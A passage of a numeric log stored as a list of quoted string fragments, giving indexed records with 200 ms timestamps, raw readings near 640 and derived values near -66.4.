"66.", "387", "634", " ", "\\", "10", ";", "251", " ", ":", " ", " ", " ", " ", "200000", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "252", " ", ":", " ", " ", " ", " ", "2000", "200", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "253", " ", ":", " ", " ", " ", " ", "2000", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "254", " ", ":", " ", " ", " ", " ", "2000", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "255", " ", ":", " ", " ", " ", " ", "2000", "800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "256", " ", ":", " ", " ", " ", " ", "200", "1000", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "257", " ", ":", " ", " ", " ", " ", "200", "1200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "258", " ", ":", " ", " ", " ", " ", "200", "1400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "259", " ", ":", " ", " ", " ", " ", "200", "1600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "260", " ", ":", " ", " ", " ", " ", "200", "1800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "261", " ", ":", " ", " ", " ", " ", "2002", "000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "262", " ", ":", " ", " ", " ", " ", "2002", "200", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "263", " ", ":", " ", " ", " ", " ", "2002", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "264", " ", ":", " ", " ", " ", " ", "2002", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "265", " ", ":", " ", " ", " ", " ", "2002", "800", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "266", " ", ":", " ", " ", " ", " ", "2003", "000", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "267", " ", ":", " ", " ", " ", " ", "2003", "200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "268", " ", ":", " ", " ", " ", " ", "2003", "400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "269", " ", ":", " ", " ", " ", " ", "2003", "600", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "270", " ", ":", " ", " ", " ", " ", "2003", "800", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "271", " ", ":", " ", " ", " ", " ", "2004", "000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "272", " ", ":", " ", " ", " ", " ", "2004", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "273", " ", ":", " ", " ", " ", " ", "2004", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "274", " ", ":", " ", " ", " ", " ", "2004", "600", " ", ":", " ", " ", "638", " ", ":", " ", "-", "66.", "498", "787", " ", "\\", "10", ";", "275", " ", ":", " ", " ", " ", " ", "2004", "800", " ", ":", " ", " ", "648", " ", ":", " ", "-", "66.", "220", "909", " ", "\\", "10", ";", "276", " ", ":", " ", " ", " ", " ", "2005", "000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "277", " ", ":", " ", " ", " ", " ", "2005", "200", " ", ":", " ", " ", "638", " ", ":", " ", "-", "66.", "498", "787", " ", "\\", "10", ";", "278", " ", ":", " ", " ", " ", " ", "2005", "400", " ", ":", " ", " ", "649", " ", ":", " ", "-", "66.", "193", "123", " ", "\\", "10", ";", "279", " ", ":", " ", " ", " ", " ", "2005", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "280", " ", ":", " ", " ", " ", " ", "2005", "800", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "281", " ", ":", " ", " ", " ", " ", "2006", "000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "282", " ", ":", " ", " ", " ", " ", "2006", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "283", " ", ":", " ", " ", " ", " ", "2006", "400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "284", " ", ":", " ", " ", " ", " ", "2006", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "285", " ", ":", " ", " ", " ", " ", "2006", "800", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "286", " ", ":", " ", " ", " ", " ", "2007", "000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "287", " ", ":", " ", " ", " ", " ", "2007", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "288", " ", ":", " ", " ", " ", " ", "2007", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "289", " ", ":", " ", " ", " ", " ", "2007", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "290", " ", ":", " ", " ", " ", " ", "2007", "800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "291", " ", ":", " ", " ", " ", " ", "20080", "00", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "292", " ", ":", " ", " ", " ", " ", "2008", "200", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "293", " ", ":", " ", " ", " ", " ", "2008", "400", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "294", " ", ":", " ", " ", " ", " ", "2008", "600", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "295", " ", ":", " ", " ", " ", " ", "2008", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "296", " ", ":", " ", " ", " ", " ", "20090", "00", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "297", " ", ":", " ", " ", " ", " ", "200", "9200", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "298", " ", ":", " ", " ", " ", " ", "200", "940", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "299", " ", ":", " ", " ", " ", " ", "200", "9600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "300", " ", ":", " ", " ", " ", " ", "200", "980", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "301", " ", ":", " ", " ", " ", " ", "20100", "00", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "302", " ", ":", " ", " ", " ", " ", "2010", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "303", " ", ":", " ", " ", " ", " ", "2010", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "304", " ", ":", " ", " ", " ", " ", "2010", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "305", " ", ":", " ", " ", " ", " ", "2010", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "306", " ", ":", " ", " ", " ", " ", "2011", "000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "307", " ", ":", " ", " ", " ", " ", "2011", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "308", " ", ":", " ", " ", " ", " ", "2011", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "309", " ", ":", " ", " ", " ", " ", "2011", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "310", " ", ":", " ", " ", " ", " ", "2011", "800", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "311", " ", ":", " ", " ", " ", " ", "20120", "00", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "312", " ", ":", " ", " ", " ", " ", "2012", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "313", " ", ":", " ", " ", " ", " ", "2012", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "314", " ", ":", " ", " ", " ", " ", "2012", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "315", " ", ":", " ", " ", " ", " ", "2012", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "316", " ", ":", " ", " ", " ", " ", "20130", "00", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "317", " ", ":", " ", " ", " ", " ", "2013", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "318", " ", ":", " ", " ", " ", " ", "2013", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "319", " ", ":", " ", " ", " ", " ", "2013", "600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "320", " ", ":", " ", " ", " ", " ", "2013", "800", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "321", " ", ":", " ", " ", " ", " ", "20140", "00", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "322", " ", ":", " ", " ", " ", " ", "2014", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "323", " ", ":", " ", " ", " ", " ", "2014", "400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "324", " ", ":", " ", " ", " ", " ", "2014", "600", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "325", " ", ":", " ", " ", " ", " ", "2014", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "326", " ", ":", " ", " ", " ", " ", "20150", "00", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "327", " ", ":", " ", " ", " ", " ", "201", "520", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "328", " ", ":", " ", " ", " ", " ", "201", "540", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "329", " ", ":", " ", " ", " ", " ", "201", "560", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "330", " ", ":", " ", " ", " ", " ", "201", "580", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "331", " ", ":", " ", " ", " ", " ", "20160", "00", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "332", " ", ":", " ", " ", " ", " ", "2016", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "333", " ", ":", " ", " ", " ", " ", "2016", "400", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "334", " ", ":", " ", " ", " ", " ", "2016", "600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "335", " ", ":", " ", " ", " ", " ", "2016", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "336", " ", ":", " ", " ", " ", " ", "20170", "00", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "337", " ", ":", " ", " ", " ", " ", "2017", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "338", " ", ":", " ", " ", " ", " ", "2017", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "339", " ", ":", " ", " ", " ", " ", "2017", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "340", " ", ":", " ", " ", " ", " ", "2017", "800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "341", " ", ":", " ", " ", " ", " ", "2018", "000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "342", " ", ":", " ", " ", " ", " ", "2018", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "343", " ", ":", " ", " ", " ", " ", "2018", "400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "344", " ", ":", " ", " ", " ", " ", "2018", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "345", " ", ":", " ", " ", " ", " ", "2018", "800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "346", " ", ":", " ", " ", " ", " ", "2019", "000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "347", " ", ":", " ", " ", " ", " ", "2019", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "348", " ", ":", " ", " ", " ", " ", "2019", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "349", " ", ":", " ", " ", " ", " ", "2019", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "350", " ", ":", " ", " ", " ", " ", "2019", "800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "351", " ", ":", " ", " ", " ", " ", "2020", "000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "352", " ", ":", " ", " ", " ", " ", "2020", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "353", " ", ":", " ", " ", " ", " ", "2020", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "354", " ", ":", " ", " ", " ", " ", "2020", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "355", " ", ":", " ", " ", " ", " ", "2020", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "356", " ", ":", " ", " ", " ", " ", "202", "1000", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "357", " ", ":", " ", " ", " ", " ", "202", "1200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "358", " ", ":", " ", " ", " ", " ", "202", "1400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "359", " ", ":", " ", " ", " ", " ", "202", "1600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "360", " ", ":", " ", " ", " ", " ", "202", "1800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "361", " ", ":", " ", " ", " ", " ", "2022", "000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "362", " ", ":", " ", " ", " ", " ", "2022", "200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "363", " ", ":", " ", " ", " ", " ", "2022", "400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "364", " ", ":", " ", " ", " ", " ", "2022", "600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "365", " ", ":", " ", " ", " ", " ", "2022", "800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "366", " ", ":", " ", " ", " ", " ", "202", "3000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "367", " ", ":", " ", " ", " ", " ", "202", "3200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "368", " ", ":", " ", " ", " ", " ", "202", "3400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "369", " ", ":", " ", " ", " ", " ", "202", "3600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "370", " ", ":", " ", " ", " ", " ", "202", "380", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "371", " ", ":", " ", " ", " ", " ", "202", "4000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "372", " ", ":", " ", " ", " ", " ", "202", "4200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "373", " ", ":", " ", " ", " ", " ", "202", "440", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "374", " ", ":", " ", " ", " ", " ", "202", "460", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "375", " ", ":", " ", " ", " ", " ", "202", "4800", " ", ":", " ", " ", "638", " ", ":", " ", "-", "66.", "498", "787", " ", "\\", "10", ";", "376", " ", ":", " ", " ", " ", " ", "202", "5000", " ", ":", " ", " ", "650", " ", ":", " ", "-", "66.", "165", "337", " ", "\\", "10", ";", "377", " ", ":", " ", " ", " ", " ", "202", "520", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "378", " ", ":", " ", " ", " ", " ", "202", "540", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "379", " ", ":", " ", " ", " ", " ", "202", "560", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "380", " ", ":", " ", " ", " ", " ", "202", "580", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "381", " ", ":", " ", " ", " ", " ", "202", "6000", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "382", " ", ":", " ", " ", " ", " ", "202", "620", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "383", " ", ":", " ", " ", " ", " ", "202", "640", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "384", " ", ":", " ", " ", " ", " ", "202", "660", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "385", " ", ":", " ", " ", " ", " ", "202", "680", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "386", " ", ":", " ", " ", " ", " ", "202", "7000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "387", " ", ":", " ", " ", " ", " ", "202", "7200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "388", " ", ":", " ", " ", " ", " ", "202", "740", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "389", " ", ":", " ", " ", " ", " ", "202", "760", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "390", " ", ":", " ", " ", " ", " ", "202", "780", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "391", " ", ":", " ", " ", " ", " ", "202", "800", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "392", " ", ":", " ", " ", " ", " ", "202", "820", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "393", " ", ":", " ", " ", " ", " ", "202", "840", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "394", " ", ":", " ", " ", " ", " ", "202", "860", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "395", " ", ":", " ", " ", " ", " ", "202", "880", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "396", " ", ":", " ", " ", " ", " ", "202", "9000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "397", " ", ":", " ", " ", " ", " ", "202", "9200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "398", " ", ":", " ", " ", " ", " ", "202", "940", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "399", " ", ":", " ", " ", " ", " ", "202", "9600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "400", " ", ":", " ", " ", " ", " ", "202", "980", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "401", " ", ":", " ", " ", " ", " ", "2030", "000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "402", " ", ":", " ", " ", " ", " ", "2030", "200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "403", " ", ":", " ", " ", " ", " ", "2030", "400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "404", " ", ":", " ", " ", " ", " ", "2030", "600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "405", " ", ":", " ", " ", " ", " ", "2030", "800", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "406", " ", ":", " ", " ", " ", " ", "203", "1000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "407", " ", ":", " ", " ", " ", " ", "203", "1200", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "408", " ", ":", " ", " ", " ", " ", "203", "1400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "409", " ", ":", " ", " ", " ", " ", "203", "1600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "410", " ", ":", " ", " ", " ", " ", "203", "1800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "411", " ", ":", " ", " ", " ", " ", "203", "2000", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "412", " ", ":", " ", " ", " ", " ", "203", "2200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "413", " ", ":", " ", " ", " ", " ", "203", "2400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "414", " ", ":", " ", " ", " ", " ", "203", "2600", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "415", " ", ":", " ", " ", " ", " ", "203", "2800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "416", " ", ":", " ", " ", " ", " ", "203", "3000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "417", " ", ":", " ", " ", " ", " ", "203", "3200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "\\", "10", ";", "207", " ", "\\", "10", ";", "418", " ", ":", " ", " ", " ", " ", "203", "3400", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "419", " ", ":", " ", " ", " ", " ", "203", "3600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "420", " ", ":", " ", " ", " ", " ", "203", "380", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "421", " ", ":", " ", " ", " ", " ", "203", "4000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "422", " ", ":", " ", " ", " ", " ", "203", "4200", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "423", " ", ":", " ", " ", " ", " ", "203", "440", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "424", " ", ":", " ", " ", " ", " ", "203", "460", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", "425", " ", ":", " ", " ", " ", " ", "203", "4800", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "426", " ", ":", " ", " ", " ", " ", "203", "5000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "427", " ", ":", " ", " ", " ", " ", "203", "520", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "428", " ", ":", " ", " ", " ", " ", "203", "540", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "429", " ", ":", " ", " ", " ", " ", "203", "560", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "430", " ", ":", " ", " ", " ", " ", "203", "580", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "431", " ", ":", " ", " ", " ", " ", "203", "6000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", "432", " ", ":", " ", " ", " ", " ", "203", "620", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", "433", " ", ":", " ", " ", " ", " ", "203", "640", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "434", " ", ":", " ", " ", " ", " ", "203", "660", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", "435", " ", ":", " ", " ", " ", " ", "203", "680", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "436", " ", ":", " ", " ", " ", " ", "203", "7000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "437", " ", ":", " ", " ", " ", " ", "203", "7200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "438", " ", ":", " ", " ", " ", " ", "203", "740", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", "439", " ", ":", " ", " ", " ", " ", "203", "760", "0", " ", ":", " ", " ", "638", " ", ":", " ", "-", "66.", "498", "787", " ", "\\", "10", ";", "440", " ", ":", " ", " ", " ", " ", "203", "780", "0", " ", ":", " ", " ", "648", " ", ":", " ", "-", "66.", "220", "909", " ", "\\", "10", ";", "441", " ", ":", " ", " ", " ", " ", "203", "800", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", 